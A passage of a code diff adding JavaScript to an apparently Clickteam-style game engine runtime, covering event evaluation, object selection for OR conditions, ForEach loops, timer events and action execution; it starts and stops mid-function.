+ if (oilPtr.oilEventCountOR != this.rh4EventCountOR)
+ {
+ oilPtr.oilEventCountOR = this.rh4EventCountOR;
+ num = oilPtr.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHO = this.rhPtr.rhObjectList[num];
+ pHO.hoSelectedInOR = 0;
+ num = pHO.hoNumNext;
+ }
+ }
+ num = oilPtr.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHO = this.rhPtr.rhObjectList[num];
+ pHO.hoSelectedInOR = 1;
+ num = pHO.hoNextSelected;
+ }
+ }
+ }
+ },
+
+ evt_BranchSelectedObjects: function ()
+ {
+ var num;
+ var pHO, pHOPrev;
+ var oil;
+ var oilPtr;
+
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+ if (oilPtr.oilEventCountOR == this.rh4EventCountOR)
+ {
+ oilPtr.oilEventCount = this.rh2EventCount;
+
+ num = oilPtr.oilObject;
+ pHOPrev = null;
+ while ((num & 0x80000000) == 0)
+ {
+ pHO = this.rhPtr.rhObjectList[num];
+ if (pHO.hoSelectedInOR != 0)
+ {
+ if (pHOPrev != null)
+ {
+ pHOPrev.hoNextSelected = num;
+ }
+ else
+ {
+ oilPtr.oilListSelected = num;
+ }
+ pHO.hoNextSelected = -1;
+ pHOPrev = pHO;
+ }
+ num = pHO.hoNumNext;
+ }
+ }
+ }
+ },
+
+ get_ExpressionObjects: function (expoi)
+ {
+ var object;
+ if (this.rh2ActionOn)
+ {
+ this.rh2EnablePick = false;
+ var object = this.get_CurrentObjects(expoi);
+ return object;
+ }
+
+ var oilPtr;
+ if ((expoi & 0x8000) == 0)
+ {
+ oilPtr = this.rhPtr.rhOiList[expoi];
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ return this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ }
+ if ((oilPtr.oilObject & 0x80000000) == 0)
+ {
+ return this.rhPtr.rhObjectList[oilPtr.oilObject];
+ }
+ return null;
+ }
+ else
+ {
+ if ((oilPtr.oilObject & 0x80000000) == 0)
+ {
+ return this.rhPtr.rhObjectList[oilPtr.oilObject];
+ }
+ return null;
+ }
+ }
+
+ var pQoi = this.qualToOiList[expoi & 0x7FFF];
+ var qoi = 0;
+ if (qoi >= pQoi.qoiList.length)
+ {
+ return null;
+ }
+ do
+ {
+ oilPtr = this.rhPtr.rhOiList[pQoi.qoiList[qoi + 1]];
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ return this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ }
+ }
+ qoi += 2;
+ } while (qoi < pQoi.qoiList.length);
+
+ qoi = 0;
+ do
+ {
+ oilPtr = this.rhPtr.rhOiList[pQoi.qoiList[qoi + 1]];
+ if ((oilPtr.oilObject & 0x80000000) == 0)
+ {
+ return this.rhPtr.rhObjectList[oilPtr.oilObject];
+ }
+ qoi += 2;
+ } while (qoi < pQoi.qoiList.length);
+ return null;
+ },
+
+ get_ParamActionObjects: function (qoil, pAction)
+ {
+ this.rh2EnablePick = true;
+ var pObject = this.get_CurrentObjects(qoil);
+ if (pObject != null)
+ {
+ if (this.repeatFlag == false)
+ {
+ return pObject;
+ }
+ else
+ {
+ pAction.evtFlags |= CAct.ACTFLAGS_REPEAT;
+ this.rh2ActionLoop = true;
+ return pObject;
+ }
+ }
+ pAction.evtFlags |= CEvent.EVFLAGS_NOTDONEINSTART;
+ return pObject;
+ },
+
+ get_ActionObjects: function (pAction)
+ {
+ pAction.evtFlags &= ~CEvent.EVFLAGS_NOTDONEINSTART;
+ this.rh2EnablePick = true;
+ var qoil = pAction.evtOiList;
+ var pObject = this.get_CurrentObjects(qoil);
+ if (pObject != null)
+ {
+ if (this.repeatFlag == false)
+ {
+ return pObject;
+ }
+ else
+ {
+ pAction.evtFlags |= CAct.ACTFLAGS_REPEAT;
+ this.rh2ActionLoop = true;
+ return pObject;
+ }
+ }
+ pAction.evtFlags |= CEvent.EVFLAGS_NOTDONEINSTART;
+ return pObject;
+ },
+
+ get_CurrentObjects: function (qoil)
+ {
+ var object;
+ if ((qoil & 0x8000) == 0)
+ {
+ object = this.get_CurrentObject(qoil);
+ }
+ else
+ {
+ object = this.get_CurrentObjectQualifier(qoil);
+ }
+ return object;
+ },
+
+ get_CurrentObject: function (qoil)
+ {
+ var pHo;
+ var oilPtr = this.rhPtr.rhOiList[qoil];
+
+ if (oilPtr.oilActionCount != this.rh2ActionCount)
+ {
+ oilPtr.oilActionCount = this.rh2ActionCount;
+ oilPtr.oilActionLoopCount = this.rh2ActionLoopCount;
+
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ oilPtr.oilCurrentOi = oilPtr.oilListSelected;
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ oilPtr.oilNext = pHo.hoNextSelected;
+ if ((pHo.hoNextSelected & 0x80000000) != 0)
+ {
+ oilPtr.oilNextFlag = false;
+ oilPtr.oilCurrentRoutine = 1;
+ this.repeatFlag = false;
+ return pHo;
+ }
+ oilPtr.oilNextFlag = true;
+ oilPtr.oilCurrentRoutine = 2;
+ this.repeatFlag = true;
+ return pHo;
+ }
+ }
+
+ if (this.rh2EnablePick)
+ {
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ oilPtr.oilCurrentRoutine = 0;
+ oilPtr.oilCurrentOi = -1;
+ return null;
+ }
+ }
+ if ((oilPtr.oilObject & 0x80000000) == 0)
+ {
+ oilPtr.oilCurrentOi = oilPtr.oilObject;
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilObject];
+ if (pHo == null)
+ {
+ oilPtr.oilCurrentRoutine = 0;
+ oilPtr.oilCurrentOi = -1;
+ return null;
+ }
+ if ((pHo.hoNumNext & 0x80000000) == 0)
+ {
+ oilPtr.oilNext = pHo.hoNumNext;
+ oilPtr.oilNextFlag = true;
+ oilPtr.oilCurrentRoutine = 3;
+ this.repeatFlag = true;
+ return pHo;
+ }
+ oilPtr.oilNextFlag = false;
+ oilPtr.oilCurrentRoutine = 1;
+ this.repeatFlag = false;
+ return pHo;
+ }
+ else
+ {
+ oilPtr.oilCurrentRoutine = 0;
+ oilPtr.oilCurrentOi = -1;
+ return null;
+ }
+ }
+
+ if (oilPtr.oilActionLoopCount != this.rh2ActionLoopCount)
+ {
+ var next;
+ oilPtr.oilActionLoopCount = this.rh2ActionLoopCount;
+ switch (oilPtr.oilCurrentRoutine)
+ {
+ case 0:
+ this.repeatFlag = oilPtr.oilNextFlag;
+ return null;
+ case 1:
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilCurrentOi];
+ this.repeatFlag = oilPtr.oilNextFlag;
+ return pHo;
+ case 2:
+ oilPtr.oilCurrentOi = oilPtr.oilNext;
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilNext];
+ if (pHo == null)
+ {
+ return null;
+ }
+ next = pHo.hoNextSelected;
+ if ((next & 0x80000000) != 0)
+ {
+ oilPtr.oilNextFlag = false;
+ next = oilPtr.oilListSelected;
+ }
+ oilPtr.oilNext = next;
+ this.repeatFlag = oilPtr.oilNextFlag;
+ return pHo;
+ case 3:
+ oilPtr.oilCurrentOi = oilPtr.oilNext;
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilNext];
+ if (pHo == null)
+ {
+ return null;
+ }
+ next = pHo.hoNumNext;
+ if ((next & 0x80000000) != 0)
+ {
+ oilPtr.oilNextFlag = false;
+ next = oilPtr.oilObject;
+ }
+ oilPtr.oilNext = next;
+ this.repeatFlag = oilPtr.oilNextFlag;
+ return pHo;
+ }
+ }
+ if (oilPtr.oilCurrentOi < 0)
+ {
+ return null;
+ }
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilCurrentOi];
+ this.repeatFlag = oilPtr.oilNextFlag;
+ return pHo;
+ },
+
+ get_CurrentObjectQualifier: function (qoil)
+ {
+ var pHo;
+ var next, num;
+
+ var pqoi = this.qualToOiList[qoil & 0x7FFF];
+ if (pqoi.qoiActionCount != this.rh2ActionCount)
+ {
+ pqoi.qoiActionCount = this.rh2ActionCount;
+ pqoi.qoiActionLoopCount = this.rh2ActionLoopCount;
+
+ num = this.qoi_GetFirstListSelected(pqoi);
+ if (num >= 0)
+ {
+ pqoi.qoiCurrentOi = num;
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ pqoi.qoiCurrentRoutine = 0;
+ pqoi.qoiCurrentOi = -1;
+ return null;
+ }
+ next = pHo.hoNextSelected;
+ if ((next & 0x80000000) != 0)
+ {
+ next = this.qoi_GetNextListSelected(pqoi);
+ if (next < 0)
+ {
+ pqoi.qoiCurrentRoutine = 1;
+ pqoi.qoiNextFlag = false;
+ this.repeatFlag = false;
+ return pHo;
+ }
+ }
+ pqoi.qoiNext = next;
+ pqoi.qoiCurrentRoutine = 2;
+ pqoi.qoiNextFlag = true;
+ this.repeatFlag = true;
+ return pHo;
+ }
+
+ if (this.rh2EnablePick)
+ {
+ if (pqoi.qoiSelectedFlag)
+ {
+ pqoi.qoiCurrentRoutine = 0;
+ pqoi.qoiCurrentOi = -1;
+ return null;
+ }
+ }
+ num = this.qoi_GetFirstList(pqoi);
+ if (num >= 0)
+ {
+ pqoi.qoiCurrentOi = num;
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo != null)
+ {
+ num = pHo.hoNumNext;
+ if ((num & 0x80000000) != 0)
+ {
+ num = this.qoi_GetNextList(pqoi);
+ if ((num & 0x80000000) != 0)
+ {
+ pqoi.qoiCurrentRoutine = 1;
+ pqoi.qoiNextFlag = false;
+ this.repeatFlag = false;
+ return pHo;
+ }
+ }
+ pqoi.qoiNext = num;
+ pqoi.qoiCurrentRoutine = 3;
+ pqoi.qoiNextFlag = true;
+ this.repeatFlag = true;
+ return pHo;
+ }
+ }
+ pqoi.qoiCurrentRoutine = 0;
+ pqoi.qoiCurrentOi = -1;
+ return null;
+ }
+
+ if (pqoi.qoiActionLoopCount != this.rh2ActionLoopCount)
+ {
+ pqoi.qoiActionLoopCount = this.rh2ActionLoopCount;
+ switch (pqoi.qoiCurrentRoutine)
+ {
+ case 0:
+ this.repeatFlag = pqoi.qoiNextFlag;
+ return null;
+ case 1:
+ pHo = this.rhPtr.rhObjectList[pqoi.qoiCurrentOi];
+ this.repeatFlag = pqoi.qoiNextFlag;
+ return pHo;
+ case 2:
+ pqoi.qoiCurrentOi = pqoi.qoiNext;
+ pHo = this.rhPtr.rhObjectList[pqoi.qoiNext];
+ if (pHo != null)
+ {
+ next = pHo.hoNextSelected;
+ if ((next & 0x80000000) != 0)
+ {
+ next = this.qoi_GetNextListSelected(pqoi);
+ if (next < 0)
+ {
+ pqoi.qoiNextFlag = false;
+ next = this.qoi_GetFirstListSelected(pqoi);
+ }
+ }
+ pqoi.qoiNext = next;
+ }
+ this.repeatFlag = pqoi.qoiNextFlag;
+ return pHo;
+ case 3:
+ pqoi.qoiCurrentOi = pqoi.qoiNext;
+ pHo = this.rhPtr.rhObjectList[pqoi.qoiNext];
+ if (pHo != null)
+ {
+ next = pHo.hoNumNext;
+ if ((next & 0x80000000) != 0)
+ {
+ next = this.qoi_GetNextList(pqoi);
+ if ((next & 0x80000000) != 0)
+ {
+ pqoi.qoiNextFlag = false;
+ next = this.qoi_GetFirstList(pqoi);
+ }
+ }
+ pqoi.qoiNext = next;
+ }
+ this.repeatFlag = pqoi.qoiNextFlag;
+ return pHo;
+ }
+ }
+
+ if (pqoi.qoiCurrentOi < 0)
+ {
+ return null;
+ }
+ pHo = this.rhPtr.rhObjectList[pqoi.qoiCurrentOi];
+ this.repeatFlag = pqoi.qoiNextFlag;
+ return pHo;
+ },
+
+ qoi_GetNextListSelected: function (pqoi)
+ {
+ var pos = pqoi.qoiActionPos;
+ var qoil;
+ var oilPtr;
+ while (pos < pqoi.qoiList.length)
+ {
+ qoil = pqoi.qoiList[pos + 1];
+ oilPtr = this.rhPtr.rhOiList[qoil];
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ pqoi.qoiSelectedFlag = true;
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ pqoi.qoiActionPos = (pos + 2);
+ return oilPtr.oilListSelected;
+ }
+ }
+ pos += 2;
+ }
+ return -1;
+ },
+
+ qoi_GetFirstListSelected: function (pqoi)
+ {
+ pqoi.qoiActionPos = 0;
+ pqoi.qoiSelectedFlag = false;
+ return this.qoi_GetNextListSelected(pqoi);
+ },
+
+ qoi_GetNextList: function (pqoi)
+ {
+ var pos = pqoi.qoiActionPos;
+ var qoil;
+ var oilPtr;
+ while (pos < pqoi.qoiList.length)
+ {
+ qoil = pqoi.qoiList[pos + 1];
+ oilPtr = this.rhPtr.rhOiList[qoil];
+ if ((oilPtr.oilObject & 0x80000000) == 0)
+ {
+ pqoi.qoiActionPos = (pos + 2);
+ return oilPtr.oilObject;
+ }
+ pos += 2;
+ }
+ return -1;
+ },
+
+ qoi_GetFirstList: function (pqoi)
+ {
+ pqoi.qoiActionPos = 0;
+ return this.qoi_GetNextList(pqoi);
+ },
+
+ endForEach: function ()
+ {
+ this.callEndForEach = false;
+
+ var saveForEach = this.rhPtr.rh4CurrentForEach;
+ var saveForEach2 = this.rhPtr.rh4CurrentForEach2;
+ while (true)
+ {
+ var pForEach2 = null;
+ var pPrevious = null;
+ var pForEach = this.rhPtr.rh4ForEachs;
+ while (pForEach != null)
+ {
+ if (pForEach.index < 0)
+ {
+ pForEach2 = pForEach.next;
+ if (pForEach2)
+ {
+ if (!CServices.compareStringsIgnoreCase(pForEach.name, pForEach2.name))
+ pForEach2 = null;
+ }
+ break;
+ }
+ pPrevious = pForEach;
+ pForEach = pForEach.next;
+ }
+
+ if (pForEach == null)
+ break;
+
+ pForEach.stop = false;
+ for (pForEach.index = 0; pForEach.index < pForEach.number; pForEach.index++)
+ {
+ this.rhPtr.rh4CurrentForEach = pForEach;
+ this.rhPtr.rh4CurrentForEach2 = pForEach2;
+ if (pForEach2)
+ pForEach2.index = pForEach.index;
+ this.rh2ActionOn = 0;
+ this.handle_Event(pForEach.objects[pForEach.index], (-41 << 16)); // CNDL_EXTONLOOP);
+ if (pForEach.stop)
+ break;
+ }
+ if (pForEach2)
+ {
+ for (pForEach2.index = 0; pForEach2.index < pForEach2.number; pForEach2.index++)
+ {
+ this.rhPtr.rh4CurrentForEach = pForEach2;
+ this.rhPtr.rh4CurrentForEach2 = pForEach;
+ if (pForEach)
+ pForEach.index = pForEach2.index;
+ this.rh2ActionOn = 0;
+ this.handle_Event(pForEach2.objects[pForEach2.index], (-41 << 16)); // CNDL_EXTONLOOP);
+ if (pForEach2.stop)
+ break;
+ }
+ }
+ if (pForEach2)
+ pForEach.next = pForEach2.next;
+ if (pPrevious == null)
+ this.rhPtr.rh4ForEachs = pForEach.next;
+ else
+ pPrevious.next = pForEach.next;
+ }
+ this.rhPtr.rh4CurrentForEach = saveForEach;
+ this.rhPtr.rh4CurrentForEach2 = saveForEach2;
+ },
+
+ addForEach: function (pName, pHo, oi)
+ {
+ var pForEach = this.rhPtr.rh4ForEachs;
+ var pForEachPrevious = null;
+ while (pForEach != null)
+ {
+ if (pForEach.oi == oi && CServices.compareStringsIgnoreCase(pName, pForEach.name))
+ {
+ pForEach.objects[pForEach.number++] = pHo;
+ return;
+ }
+ pForEachPrevious = pForEach;
+ pForEach = pForEach.next;
+ }
+
+ var pForEach = new ForEach();
+ if (pForEachPrevious)
+ pForEachPrevious.next = pForEach;
+ else
+ this.rhPtr.rh4ForEachs = pForEach;
+ pForEach.next = null;
+ pForEach.number = 1;
+ pForEach.oi = oi;
+ pForEach.objects[0] = pHo;
+ pForEach.index = -1;
+ pForEach.name = pName;
+ },
+
+ handle_GlobalEvents: function (code)
+ {
+ var type = code & 0xFFFF;
+ if ((type & 0x8000) != 0)
+ {
+ type = 65536 - type;
+ }
+ var cond = -(code >> 16);
+ var num = this.listPointers[this.rhEvents[type] + cond];
+ if (num != 0)
+ {
+ this.computeEventList(num, null);
+ }
+ },
+
+ handle_Event: function (pHo, code)
+ {
+ this.rhCurCode = code;
+
+ var cond = -(code >> 16);
+ var num = this.listPointers[pHo.hoEvents + cond];
+ if (num != 0)
+ {
+ this.computeEventList(num, pHo);
+ return true;
+ }
+ return false;
+ },
+
+ handle_TimerEvents: function ()
+ {
+ var bDelete = false;
+ var pEvent = this.rhPtr.rh4TimerEvents;
+ while (pEvent)
+ {
+ if (this.rhPtr.rhTimer >= pEvent.timer)
+ {
+ if (pEvent.type == TimerEvents.TIMEREVENTTYPE_ONESHOT)
+ {
+ this.rhPtr.rhEvtProg.rhCurParam0 = pEvent.name;
+ var num = this.listPointers[this.rhEvents[-COI.OBJ_TIMER] + CCnd.NUM_ONEVENT];
+ if (num != 0)
+ {
+ this.computeEventList(num, null);
+ }
+ pEvent.bDelete = true;
+ bDelete = true;
+ }
+ else
+ {
+ if (pEvent.timerPosition == 0)
+ {
+ pEvent.timerPosition = this.rhPtr.rhTimer;
+ }
+ while (this.rhPtr.rhTimer >= pEvent.timerPosition)
+ {
+ this.rhPtr.rhEvtProg.rhCurParam0 = pEvent.name;
+ this.rhPtr.rhEvtProg.rhCurParam1 = pEvent.index;
+ var num = this.listPointers[this.rhEvents[-COI.OBJ_TIMER] + CCnd.NUM_ONEVENT];
+ if (num != 0)
+ {
+ this.computeEventList(num, null);
+ }
+ pEvent.index++;
+ pEvent.loops--;
+ if (pEvent.loops == 0)
+ {
+ pEvent.bDelete = true;
+ bDelete = true;
+ break;
+ }
+ pEvent.timerPosition += pEvent.timerNext;
+ }
+ }
+ }
+ pEvent = pEvent.next;
+ }
+ if (bDelete)
+ {
+ pEvent = this.rhPtr.rh4TimerEvents;
+ var pPrevious = null;
+ var pNext;
+ while (pEvent)
+ {
+ pNext = pEvent.next;
+ if (pEvent.bDelete)
+ {
+ if (pPrevious == null)
+ this.rhPtr.rh4TimerEvents = pNext;
+ else
+ pPrevious.next = pNext;
+ }
+ else
+ {
+ pPrevious = pEvent;
+ }
+ pEvent = pNext;
+ }
+ }
+ },
+
+ compute_TimerEvents: function ()
+ {
+
+ var num;
+
+ if ((this.rhPtr.rhGameFlags & CRun.GAMEFLAGS_FIRSTLOOPFADEIN) != 0)
+ {
+ num = this.listPointers[this.rhEvents[-COI.OBJ_GAME] + 1];
+ if (num != 0)
+ {
+ this.listPointers[this.rhEvents[-COI.OBJ_GAME] + 1] = -1;
+ this.computeEventList(num, null);
+ this.rh4CheckDoneInstart = true;
+ }
+ return;
+ }
+
+ num = this.listPointers[this.rhEvents[-COI.OBJ_TIMER] + 3];
+ if (num != 0)
+ {
+ this.computeEventList(num, null);
+ }
+
+ num = this.listPointers[this.rhEvents[-COI.OBJ_GAME] + 1];
+ var num2, count;
+ var evgPtr, evgGroup;
+ var evtPtr;
+ if (num != 0)
+ {
+ if (this.rh4CheckDoneInstart)
+ {
+ evgGroup = null;
+ num2 = num;
+ do
+ {
+ evgPtr = this.eventPointersGroup[num2];
+ if (evgPtr != evgGroup)
+ {
+ evgGroup = evgPtr;
+
+ for (count = evgPtr.evgNCond; count < evgPtr.evgNCond + evgPtr.evgNAct; count++)
+ {
+ evtPtr = evgPtr.evgEvents[count];
+ if ((evtPtr.evtFlags & CEvent.EVFLAGS_NOTDONEINSTART) == 0) // Une action BAD?
+ {
+ evtPtr.evtFlags |= CEvent.EVFLAGS_DONEBEFOREFADEIN;
+ }
+ }
+ }
+ num2++;
+ } while (this.eventPointersGroup[num2] != null);
+ }
+ this.computeEventList(num, null);
+ this.listPointers[this.rhEvents[-COI.OBJ_GAME] + 1] = 0;
+ if (this.rh4CheckDoneInstart)
+ {
+ evgGroup = null;
+ num2 = num;
+ do
+ {
+ evgPtr = this.eventPointersGroup[num2];
+ if (evgPtr != evgGroup)
+ {
+ evgGroup = evgPtr;
+ for (count = evgPtr.evgNCond; count < evgPtr.evgNCond + evgPtr.evgNAct; count++)
+ {
+ evtPtr = evgPtr.evgEvents[count];
+ evtPtr.evtFlags &= ~CEvent.EVFLAGS_DONEBEFOREFADEIN;
+ }
+ }
+ num2++;
+ } while (this.eventPointersGroup[num2] != null);
+ this.rh4CheckDoneInstart = false;
+ }
+ }
+
+ num = this.listPointers[this.rhEvents[-COI.OBJ_TIMER] + 2];
+ if (num != 0)
+ {
+ this.computeEventList(num, null);
+ }
+
+ num = this.listPointers[this.rhEvents[-COI.OBJ_TIMER] + 1];
+ if (num != 0)
+ {
+ this.computeEventList(num, null);
+ }
+ },
+
+ restartTimerEvents: function ()
+ {
+ var time = this.rhPtr.rhTimer;
+
+ var num = this.listPointers[this.rhEvents[-COI.OBJ_TIMER] + 3];
+ var evtPtr;
+ var evgPtr;
+ if (num != 0)
+ {
+ do
+ {
+ evgPtr = this.eventPointersGroup[num];
+ evtPtr = evgPtr.evgEvents[this.eventPointersCnd[num]];
+ evtPtr.evtFlags |= CEvent.EVFLAGS_DONE;
+ var p = evtPtr.evtParams[0];
+ if (p.timer > time)
+ {
+ evtPtr.evtFlags &= ~CEvent.EVFLAGS_DONE;
+ }
+ num++;
+ } while (this.eventPointersGroup[num] != null);
+ }
+ },
+
+ computeEventFastLoopList: function (pointers)
+ {
+ var evgPtr;
+ var count;
+ var num = 0;
+ do
+ {
+ evgPtr = pointers[num];
+ if ((evgPtr.evgFlags & CEventGroup.EVGFLAGS_INACTIVE) == 0)
+ {
+ this.rhEventGroup = evgPtr;
+ this.rh4PickFlags[0] = 0;
+ this.rh4PickFlags[1] = 0;
+ this.rh4PickFlags[2] = 0;
+ this.rh4PickFlags[3] = 0;
+ this.rh2EventCount += 1;
+ this.rh4ConditionsFalse = false;
+
+ for (count = 1; count < evgPtr.evgNCond; count++)
+ {
+ if (evgPtr.evgEvents[count].eva2(this.rhPtr) == false)
+ {
+ break;
+ }
+ }
+
+ if (count == evgPtr.evgNCond)
+ {
+ this.call_Actions(evgPtr);
+ }
+ }
+ num++;
+ } while (num < pointers.length)
+ },
+
+ computeEventList: function (num, pHo)
+ {
+ var bTrue;
+ var evgPtr, evgPtr2;
+ var count;
+ this.rh3DoStop = false;
+ do
+ {
+ evgPtr = this.eventPointersGroup[num];
+
+ if ((evgPtr.evgFlags & CEventGroup.EVGFLAGS_INACTIVE) == 0)
+ {
+ this.rhEventGroup = evgPtr;
+ this.rh4PickFlags[0] = 0;
+ this.rh4PickFlags[1] = 0;
+ this.rh4PickFlags[2] = 0;
+ this.rh4PickFlags[3] = 0;
+
+ if ((evgPtr.evgFlags & CEventGroup.EVGFLAGS_ORINGROUP) == 0)
+ {
+ this.rh2EventCount += 1;
+ this.rh4ConditionsFalse = false;
+
+ count = 0;
+ if (evgPtr.evgEvents[count].eva1(this.rhPtr, pHo))
+ {
+ for (count++; count < evgPtr.evgNCond; count++)
+ {
+ if (evgPtr.evgEvents[count].eva2(this.rhPtr) == false)
+ {
+ break;
+ }
+ }
+ }
+
+ if (count == evgPtr.evgNCond)
+ {
+ if (this.rh3DoStop)
+ {
+ if (pHo != null)
+ {
+ this.call_Stops(pHo);
+ }
+ }
+ else
+ {
+ this.call_Actions(evgPtr);
+ }
+ }
+ num++;
+ }
+ else
+ {
+ this.rh4EventCountOR++;
+ if ((evgPtr.evgFlags & CEventGroup.EVGFLAGS_ORLOGICAL) == 0)
+ {
+ bTrue = false;
+ do
+ {
+ this.rh2EventCount++;
+ this.rh4ConditionsFalse = false;
+ count = this.eventPointersCnd[num];
+ if (evgPtr.evgEvents[count].eva1(this.rhPtr, pHo) == false)
+ {
+ this.rh4ConditionsFalse = true;
+ }
+
+ count++;
+ while (count < evgPtr.evgNCond && evgPtr.evgEvents[count].evtCode != ((-24 << 16) | 65535))
+ {
+ if (evgPtr.evgEvents[count].eva2(this.rhPtr) == false)
+ {
+ this.rh4ConditionsFalse = true;
+ }
+ count++;
+ }
+
+ this.evt_MarkSelectedObjects();
+ if (this.rh4ConditionsFalse == false)
+ {
+ bTrue = true;
+ }
+
+ num++;
+ evgPtr = this.eventPointersGroup[num];
+ if (evgPtr == null)
+ {
+ break;
+ }
+ } while (evgPtr == this.rhEventGroup);
+
+ if (bTrue)
+ {
+ this.rh2EventCount++;
+ this.evt_BranchSelectedObjects();
+ this.call_Actions(this.rhEventGroup);
+ }
+ }
+ else
+ {
+ var bFalse;
+ this.rh4ConditionsFalse = false;
+
+ bTrue = false;
+ do
+ {
+ this.rh2EventCount++;
+ bFalse = false;
+ count = this.eventPointersCnd[num];
+
+ if (evgPtr.evgEvents[count].eva1(this.rhPtr, pHo))
+ {
+ count++;
+ while (count < evgPtr.evgNCond && evgPtr.evgEvents[count].evtCode != ((-25 << 16) | 65535))
+ {
+ if (evgPtr.evgEvents[count].eva2(this.rhPtr) == false)
+ {
+ bFalse = true;
+ break;
+ }
+ count++;
+ }
+ }
+ else
+ {
+ bFalse = true;
+ }
+ if (bFalse == false)
+ {
+ this.evt_MarkSelectedObjects();
+ bTrue = true;
+ }
+
+ num++;
+ evgPtr = this.eventPointersGroup[num];
+ if (evgPtr == null)
+ {
+ break;
+ }
+
+ } while (evgPtr == this.rhEventGroup);
+
+ if (bTrue)
+ {
+ this.rh2EventCount++;
+ this.evt_BranchSelectedObjects();
+ this.call_Actions(this.rhEventGroup);
+ }
+ }
+ }
+ }
+ else
+ {
+ num++;
+ if (this.eventPointersGroup[num] != null)
+ {
+ evgPtr2 = this.eventPointersGroup[num];
+ while (evgPtr2 == evgPtr)
+ {
+ num++;
+ if (this.eventPointersGroup[num] == null)
+ {
+ break;
+ }
+ evgPtr2 = this.eventPointersGroup[num];
+ }
+ }
+ }
+ } while (this.eventPointersGroup[num] != null);
+ },
+
+ call_Actions: function (pEvg)
+ {
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_LIMITED) != 0)
+ {
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_SHUFFLE) != 0)
+ {
+ this.rh2ShuffleBuffer = new CArrayList();
+ }
+
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_NOTALWAYS) != 0)
+ {
+ var w_cx = this.rhPtr.rhLoopCount;
+ var w_dx = pEvg.evgInhibit;
+ pEvg.evgInhibit = w_cx;
+ if (w_cx == w_dx)
+ {
+ return;
+ }
+ w_cx -= 1;
+ if (w_cx == w_dx)
+ {
+ return;
+ }
+ }
+
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_REPEAT) != 0)
+ {
+ if (pEvg.evgInhibitCpt != 0)
+ {
+ pEvg.evgInhibitCpt--;
+ }
+ else
+ {
+ return;
+ }
+ }
+
+ if ((pEvg.evgFlags & CEventGroup.EVGFLAGS_NOMORE) != 0)
+ {
+ var dwt = this.rhPtr.rhTimer / 10;
+ var dwmax = pEvg.evgInhibitCpt;
+ if (dwmax != 0 && dwt < dwmax)
+ {
+ return;
+ }
+ pEvg.evgInhibitCpt = (dwt + pEvg.evgInhibit);
+ }
+ }
+
+
+ this.rh2ActionCount++;
+ this.rh2ActionLoop = false;
+ this.rh2ActionLoopCount = 0;
+ this.rh2ActionOn = true;
+ var count = 0;
+ var actPtr;
+ do
+ {
+ actPtr = pEvg.evgEvents[count + pEvg.evgNCond];
+ if ((actPtr.evtFlags & (CEvent.EVFLAGS_BADOBJECT | CEvent.EVFLAGS_DONEBEFOREFADEIN)) == 0)
+ {
+ actPtr.evtFlags &= ~CAct.ACTFLAGS_REPEAT;
+ actPtr.execute(this.rhPtr);
+ }
+ count++;
+ } while (count < pEvg.evgNAct);
+
+ if (this.rh2ActionLoop)
+ {
+ do
+ {
+ this.rh2ActionLoop = false;
+ this.rh2ActionLoopCount++;
+ for (count = 0; count < pEvg.evgNAct; count++)
+ {
+ actPtr = pEvg.evgEvents[count + pEvg.evgNCond];
+ if ((actPtr.evtFlags & CAct.ACTFLAGS_REPEAT) != 0)
+ {
+ actPtr.evtFlags &= ~CAct.ACTFLAGS_REPEAT;
+ actPtr.execute(this.rhPtr);
+ }
+ }
+ } while (this.rh2ActionLoop);
+ }
+
+ this.rh2ActionOn = false;
+ if (this.rh2ShuffleBuffer != null)
+ this.endShuffle();
+ if (this.callEndForEach)
+ this.endForEach();
+ },
+
+ call_Stops: function (pHo)
+ {
+ var oi;
+
+ oi = pHo.hoOi;
+ this.rh2EventCount += 1;
+ this.evt_AddCurrentObject(pHo);
+
+ this.rh2ActionCount++;
+ this.rh2ActionLoop = false;
+ this.rh2ActionLoopCount = 0;
+ this.rh2ActionOn = true;
+ var actPtr;
+ var count = 0;
+ var num, numOi;
+ do
+ {
+ actPtr = this.rhEventGroup.evgEvents[this.rhEventGroup.evgNCond + count];
+ num = actPtr.evtCode & 0xFFFF0000;
+ if (num == (4 << 16) || num == (9 << 16))
+ {
+ if (oi == actPtr.evtOi)
+ {
+ actPtr.execute(this.rhPtr);
+ }
+ else
+ {
+ var oil = actPtr.evtOiList;
+ if ((oil & 0x8000) != 0)
+ {
+ var pq = this.qualToOiList[oil & 0x7FFF];
+ numOi = 0;
+ while (numOi < pq.qoiList.length)
+ {
+ if (pq.qoiList[numOi] == oi)
+ {
+ actPtr.execute(this.rhPtr);
+ break;
+ }
+ numOi += 2;
+ }
+ }
+ }
+ }
+ count++;
+ } while (count < this.rhEventGroup.evgNAct);
+ this.rh2ActionOn = false;
+ },
+
+ endShuffle: function ()
+ {
+ if (this.rh2ShuffleBuffer.size() <= 1)
+ {
+ return;
+ }
+
+ var num1 = this.rhPtr.random(this.rh2ShuffleBuffer.size());
+ var num2;
+ do
+ {
